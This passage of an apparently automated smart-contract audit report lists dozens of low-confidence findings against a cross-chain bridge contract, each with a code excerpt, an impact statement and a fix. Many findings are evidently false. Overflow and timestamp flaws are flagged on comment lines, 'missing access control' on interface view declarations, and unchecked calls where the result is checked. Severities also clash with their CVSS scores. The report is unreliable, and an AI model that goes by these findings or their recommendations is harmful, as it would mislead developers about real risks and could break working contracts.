Use increaseAllowance/decreaseAllowance instead of approve. Alternatively use permit (EIP-2612) for gasless approvals.

References

- SWC-114
- OWASP Smart Contract Top 10

F-380. Front-Running / Transaction Ordering Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1271 (approve)
Status	Open (28% conf.)
Detected By	iaudit

Description

approve() followed by transferFrom() is susceptible to the known ERC-20 front-running attack on allowance changes.

Vulnerable Code

```
1266 | *
1267 | * Requirements:
1268 | *
1269 | * - `spender` cannot be the zero address.
1270 | */
>> 1271 | function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |     _approve(_msgSender(), spender, amount);
1273 |     return true;
1274 | }
1275 |
1276 | /**
```

Impact Analysis

Potential front_running vulnerability detected via pattern analysis

Recommendation

Use increaseAllowance/decreaseAllowance instead of approve. Alternatively use permit (EIP-2612) for gasless approvals.

References

- SWC-114
- OWASP Smart Contract Top 10

F-381. Integer Overflow / Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:468 (_remove)
Status	Open (28% conf.)
Detected By	iaudit

Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity < 0.8.0.

Vulnerable Code

```

463 |         bytes32 lastvalue = set._values[lastIndex];
464 |
465 |         // Move the last value to the index where the value to delete is
466 |         set._values[toDeleteIndex] = lastvalue;
467 |         // Update the index for the moved value
>> 468 |         set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-
based
469 |
470 |         // Delete the slot where the moved value was stored
471 |         set._values.pop();
472 |
473 |         // Delete the index for the deleted slot

```

Impact Analysis

Potential integer_overflow vulnerability detected via pattern analysis

Recommendation

Upgrade to Solidity $\geq 0.8.0$ which has built-in overflow checks, or use OpenZeppelin SafeMath library.

References

- SWC-101
- OWASP Smart Contract Top 10

F-382. Integer Overflow / Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1216 (symbol)
Status	Open (28% conf.)
Detected By	iaudit

Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity $< 0.8.0$.

Vulnerable Code

```

1211 |     }
1212 |
1213 |     /**
1214 |      * @dev Returns the number of decimals used to get its user
representation.
1215 |      * For example, if `decimals` equals `2`, a balance of `505` tokens should
>> 1216 |      * be displayed to a user as `5,05` (`505 / 10 ** 2`).
1217 |      *
1218 |      * Tokens usually opt for a value of 18, imitating the relationship
between
1219 |      * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals}
is
1220 |      * called.
1221 |      *
```

Impact Analysis

Potential integer_overflow vulnerability detected via pattern analysis

Recommendation

Upgrade to Solidity $\geq 0.8.0$ which has built-in overflow checks, or use OpenZeppelin SafeMath library.

References

- SWC-101
- OWASP Smart Contract Top 10

F-383. Integer Overflow / Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2000 (addKappas)
Status	Open (28% conf.)
Detected By	iaudit

Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity $< 0.8.0$.

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Potential integer_overflow vulnerability detected via pattern analysis

Recommendation

Upgrade to Solidity $\geq 0.8.0$ which has built-in overflow checks, or use OpenZeppelin SafeMath library.

References

- SWC-101
- OWASP Smart Contract Top 10

F-384. Timestamp Dependence

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:47 (isContract)
Status	Open (28% conf.)
Detected By	iaudit

Description

Contract logic depends on `block.timestamp` which can be slightly manipulated by miners (up to ~15 seconds).

Vulnerable Code

```

42 |      * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
43 |      * of certain opcodes, possibly making contracts go over the 2300 gas
limit
44 |      * imposed by `transfer`, making them unable to receive funds via
45 |      * `transfer`. {sendValue} removes this limitation.
46 |      *
>> 47 |      * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-
transfer-now/[Learn more].
48 |      *
49 |      * IMPORTANT: because control is transferred to `recipient`, care must be
50 |      * taken to not create reentrancy vulnerabilities. Consider using
51 |      * {ReentrancyGuard} or the
52 |      * https://solidity.readthedocs.io/en/v0.5.11/security-
considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-
interactions pattern].

```

Impact Analysis

Potential timestamp_dependence vulnerability detected via pattern analysis

Recommendation

Avoid using `block.timestamp` for critical logic such as randomness or strict time-sensitive conditions. Use block numbers for ordering guarantees.

References

- SWC-116
- OWASP Smart Contract Top 10

F-385. Timestamp Dependence

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:235 (isContract)
Status	Open (28% conf.)
Detected By	iaudit

Description

Contract logic depends on `block.timestamp` which can be slightly manipulated by miners (up to ~15 seconds).

Vulnerable Code

```

230 |      * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
231 |      * of certain opcodes, possibly making contracts go over the 2300 gas
limit
232 |      * imposed by `transfer`, making them unable to receive funds via
233 |      * `transfer`. {sendValue} removes this limitation.
234 |      *
>> 235 |      * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-
transfer-now/[Learn more].
236 |      *
237 |      * IMPORTANT: because control is transferred to `recipient`, care must be
238 |      * taken to not create reentrancy vulnerabilities. Consider using
239 |      * {ReentrancyGuard} or the
240 |      * https://solidity.readthedocs.io/en/v0.5.11/security-
considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-
interactions pattern].

```

Impact Analysis

Potential timestamp_dependence vulnerability detected via pattern analysis

Recommendation

Avoid using `block.timestamp` for critical logic such as randomness or strict time-sensitive conditions. Use block numbers for ordering guarantees.

References

- SWC-116
- OWASP Smart Contract Top 10

F-386. Unchecked Low-Level Call

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:168</code> <code>(functionDelegateCall)</code>
Status	Open (28% conf.)
Detected By	iaudit

Description

Return value of a low-level call is not checked. If the call fails silently, subsequent logic may operate on incorrect assumptions.

Vulnerable Code

```

163 |      */
164 |      function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |          require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |          // solhint-disable-next-line avoid-low-level-calls
>> 168 |          (bool success, bytes memory returndata) = target.delegatecall(data);
169 |          return _verifyCallResult(success, returndata, errorMessage);
170 |      }
171 |
172 |      function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns(bytes memory) {
173 |          if (success) {

```

Impact Analysis

Potential unchecked_call vulnerability detected via pattern analysis

Recommendation

Always check the return value of low-level calls. Use `require(success, "Call failed")` or `revert` on failure.

References

- SWC-104
- OWASP Smart Contract Top 10

F-387. Unchecked Low-Level Call

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:144</code> <code>(functionStaticCall)</code>
Status	Open (28% conf.)
Detected By	iaudit

Description

Return value of a low-level call is not checked. If the call fails silently, subsequent logic may operate on incorrect assumptions.

Vulnerable Code

```

139 |      */
140 |      function functionStaticCall(address target, bytes memory data, string
memory errorMessage) internal view returns (bytes memory) {
141 |          require(isContract(target), "Address: static call to non-contract");
142 |
143 |          // solhint-disable-next-line avoid-low-level-calls
>> 144 |          (bool success, bytes memory returndata) = target.staticcall(data);
145 |          return _verifyCallResult(success, returndata, errorMessage);
146 |      }
147 |
148 |      /**
149 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[`functionCall`],

```

Impact Analysis

Potential unchecked_call vulnerability detected via pattern analysis

Recommendation

Always check the return value of low-level calls. Use `require(success, "Call failed")` or `revert` on failure.

References

- SWC-104
- OWASP Smart Contract Top 10

F-388. Unchecked Low-Level Call

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:332</code> <code>(functionStaticCall)</code>
Status	Open (28% conf.)
Detected By	iaudit

Description

Return value of a low-level call is not checked. If the call fails silently, subsequent logic may operate on incorrect assumptions.

Vulnerable Code

```

327 |      */
328 |      function functionStaticCall(address target, bytes memory data, string
memory errorMessage) internal view returns (bytes memory) {
329 |          require(isContract(target), "Address: static call to non-contract");
330 |
331 |          // solhint-disable-next-line avoid-low-level-calls
>> 332 |          (bool success, bytes memory returndata) = target.staticcall(data);
333 |          return _verifyCallResult(success, returndata, errorMessage);
334 |      }
335 |
336 |      function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns(bytes memory) {
337 |          if (success) {

```

Impact Analysis

Potential unchecked_call vulnerability detected via pattern analysis

Recommendation

Always check the return value of low-level calls. Use `require(success, "Call failed")` or `revert` on failure.

References

- SWC-104
- OWASP Smart Contract Top 10

F-389. Uninitialized Storage Variable

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	8.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:32 (isContract)
Status	Open (28% conf.)
Detected By	iaudit

Description

State variable declared without initialization. Depending on the storage slot, this may point to unexpected data.

Vulnerable Code

```

27 |     function isContract(address account) internal view returns (bool) {
28 |         // This method relies on extcodesize, which returns 0 for contracts in
29 |         // construction, since the code is only stored at the end of the
30 |         // constructor execution.
31 |
>> 32 |         uint256 size;
33 |         // solhint-disable-next-line no-inline-assembly
34 |         assembly { size := extcodesize(account) }
35 |         return size > 0;
36 |     }
37 |

```

Impact Analysis

Potential uninitialized_storage vulnerability detected via pattern analysis

Recommendation

Explicitly initialize all state variables in the constructor or at declaration.

References

- SWC-109
- OWASP Smart Contract Top 10

F-390. Uninitialized Storage Variable

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	8.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:220 (isContract)
Status	Open (28% conf.)
Detected By	iaudit

Description

State variable declared without initialization. Depending on the storage slot, this may point to unexpected data.

Vulnerable Code

```

215 |     function isContract(address account) internal view returns (bool) {
216 |         // This method relies on extcodesize, which returns 0 for contracts in
217 |         // construction, since the code is only stored at the end of the
218 |         // constructor execution.
219 |
>> 220 |         uint256 size;
221 |         // solhint-disable-next-line no-inline-assembly
222 |         assembly { size := extcodesize(account) }
223 |         return size > 0;
224 |     }
225 |

```

Impact Analysis

Potential uninitialized_storage vulnerability detected via pattern analysis

Recommendation

Explicitly initialize all state variables in the constructor or at declaration.

References

- SWC-109
- OWASP Smart Contract Top 10

F-391. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:58 (sendValue)
Status	Open (26% conf.)
Detected By	llamaaudit

Description

A function makes an external call before updating its own state, allowing the callee to re-enter and exploit stale state.

Vulnerable Code

```

53 |      */
54 |      function sendValue(address payable recipient, uint256 amount) internal {
55 |          require(address(this).balance >= amount, "Address: insufficient
balance");
56 |
57 |          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
>> 58 |          (bool success, ) = recipient.call{ value: amount }("");
59 |          require(success, "Address: unable to send value, recipient may have
reverted");
60 |      }
61 |
62 |      /**
63 |      * @dev Performs a Solidity function call using a low level `call`. A

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Update state variables before making external calls. Consider using ReentrancyGuard.

References

- SWC-107
- OWASP Smart Contract Top 10

F-392. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:120 (functionCallWithValue)
Status	Open (26% conf.)
Detected By	llamaaudit

Description

A function makes an external call before updating its own state, allowing the callee to re-enter and exploit stale state.

Vulnerable Code

```

115 |     function functionCallWithValue(address target, bytes memory data, uint256
value, string memory errorMessage) internal returns (bytes memory) {
116 |         require(address(this).balance >= value, "Address: insufficient balance
for call");
117 |         require(isContract(target), "Address: call to non-contract");
118 |
119 |         // solhint-disable-next-line avoid-low-level-calls
>> 120 |         (bool success, bytes memory returndata) = target.call{ value: value }
(data);
121 |         return _verifyCallResult(success, returndata, errorMessage);
122 |     }
123 |
124 |     /**
125 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[ `functionCall` ],

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Update state variables before making external calls. Consider using ReentrancyGuard.

References

- SWC-107
- OWASP Smart Contract Top 10

F-393. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2156 (withdraw)
Status	Open (26% conf.)
Detected By	llamaaudit

Description

A function makes an external call before updating its own state, allowing the callee to re-enter and exploit stale state.

Vulnerable Code

```

2151 |         require(!kappaMap[kappa], "Kappa is already present");
2152 |         kappaMap[kappa] = true;
2153 |         fees[address(token)] = fees[address(token)].add(fee);
2154 |         if (address(token) == WETH_ADDRESS && WETH_ADDRESS != address(0)) {
2155 |             IWETH9(WETH_ADDRESS).withdraw(amount.sub(fee));
>> 2156 |             (bool success, ) = to.call{value: amount.sub(fee)}("");
2157 |             require(success, "ETH_TRANSFER_FAILED");
2158 |             emit TokenWithdraw(to, token, amount, fee, kappa);
2159 |         } else {
2160 |             emit TokenWithdraw(to, token, amount, fee, kappa);
2161 |             token.safeTransfer(to, amount.sub(fee));

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Update state variables before making external calls. Consider using ReentrancyGuard.

References

- SWC-107
- OWASP Smart Contract Top 10

F-394. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2190 (mint)
Status	Open (26% conf.)
Detected By	llamaaudit

Description

A function makes an external call before updating its own state, allowing the callee to re-enter and exploit stale state.

Vulnerable Code

```

2185 |         fees[address(token)] = fees[address(token)].add(fee);
2186 |         emit TokenMint(to, token, amount.sub(fee), fee, kappa);
2187 |         token.mint(address(this), amount);
2188 |         IERC20(token).safeTransfer(to, amount.sub(fee));
2189 |         if (chainGasAmount != 0 && address(this).balance > chainGasAmount) {
>> 2190 |             to.call.value(chainGasAmount)("");
2191 |         }
2192 |     }
2193 |
2194 |     /**
2195 |      * @notice Relays to nodes to both transfer an ERC20 token cross-chain,
and then have the nodes execute a swap through a liquidity pool on behalf of the user.

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Update state variables before making external calls. Consider using ReentrancyGuard.

References

- SWC-107
- OWASP Smart Contract Top 10

F-395. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2300 (mintAndSwap)
Status	Open (26% conf.)
Detected By	llamaaudit

Description

A function makes an external call before updating its own state, allowing the callee to re-enter and exploit stale state.

Vulnerable Code

```

2295 |         require(!kappaMap[kappa], "Kappa is already present");
2296 |         kappaMap[kappa] = true;
2297 |         fees[address(token)] = fees[address(token)].add(fee);
2298 |         // Transfer gas airdrop
2299 |         if (chainGasAmount != 0 && address(this).balance > chainGasAmount) {
>> 2300 |             to.call.value(chainGasAmount)("");
2301 |         }
2302 |         // first check to make sure more will be given than min amount
required
2303 |         uint256 expectedOutput = ISwap(pool).calculateSwap(tokenIndexFrom,
tokenIndexTo, amount.sub(fee));
2304 |
2305 |         if (expectedOutput >= minDy) {

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Update state variables before making external calls. Consider using ReentrancyGuard.

References

- SWC-107
- OWASP Smart Contract Top 10

F-396. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:683 (totalSupply)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

678 | */
679 | interface IERC20 {
680 |     /**
681 |      * @dev Returns the amount of tokens in existence.
682 |      */
>> 683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
688 |     function balanceOf(address account) external view returns (uint256);

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-397. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:688 (balanceOf)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
>> 688 |     function balanceOf(address account) external view returns (uint256);
689 |
690 |     /**
691 |      * @dev Moves `amount` tokens from the caller's account to `recipient`.
692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-398. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697 (transfer)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
692 | *
693 | * Returns a boolean value indicating whether the operation succeeded.
694 | *
695 | * Emits a {Transfer} event.
696 | */
>> 697 | function transfer(address recipient, uint256 amount) external returns
    | (bool);
698 |
699 | /**
700 | * @dev Returns the remaining number of tokens that `spender` will be
701 | * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 | * zero by default.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-399. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:706 (allowance)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
703 |      *
704 |      * This value changes when {approve} or {transferFrom} are called.
705 |      */
>> 706 |      function allowance(address owner, address spender) external view returns
(uint256);
707 |
708 |      /**
709 |      * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
710 |      *
711 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-400. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722 (approve)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-401. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733 (transferFrom)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
728 | *
729 | * Returns a boolean value indicating whether the operation succeeded.
730 | *
731 | * Emits a {Transfer} event.
732 | */
>> 733 | function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 | /**
736 | * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 | * another (`to`).
738 | *
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-402. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:753 (name)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
748 | }
749 |
750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
>> 753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-403. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:755 (symbol)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
>> 755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-404. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:757 (decimals)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
>> 757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-405. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:765 (deposit)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
760 |  
761 |     function allowance(address, address) external view returns (uint256);  
762 |  
763 |     receive() external payable;  
764 |  
>> 765 |     function deposit() external payable;  
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-406. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1307 (increaseAllowance)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1302 |      *
1303 |      * Requirements:
1304 |      *
1305 |      * - `spender` cannot be the zero address.
1306 |      */
>> 1307 |      function increaseAllowance(address spender, uint256 addedValue) public
virtual returns (bool) {
1308 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].add(addedValue));
1309 |          return true;
1310 |      }
1311 |
1312 |      /**

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-407. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1326 (decreaseAllowance)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1321 |      *
1322 |      * - `spender` cannot be the zero address.
1323 |      * - `spender` must have allowance for the caller of at least
1324 |      * `subtractedValue`.
1325 |      */
>> 1326 |      function decreaseAllowance(address spender, uint256 subtractedValue)
public virtual returns (bool) {
1327 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
1328 |          return true;
1329 |      }
1330 |
1331 |      /**

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-408. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1484 (paused)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
1483 |      */
>> 1484 |     function paused() public view virtual returns (bool) {
1485 |         return _paused;
1486 |     }
1487 |
1488 |     /**
1489 |      * @dev Modifier to make a function callable only when the contract is not
    paused.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-409. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1626 (foo)
Status	Open (28% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

1621 | *
1622 | * Roles can be used to represent a set of permissions. To restrict access to
a
1623 | * function call, use {hasRole}:
1624 | *
1625 | * ```
>> 1626 | * function foo() public {
1627 | *     require(hasRole(MY_ROLE, msg.sender));
1628 | *     ...
1629 | * }
1630 | * ```
1631 | *
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-410. access_control

PROPERTY	VALUE
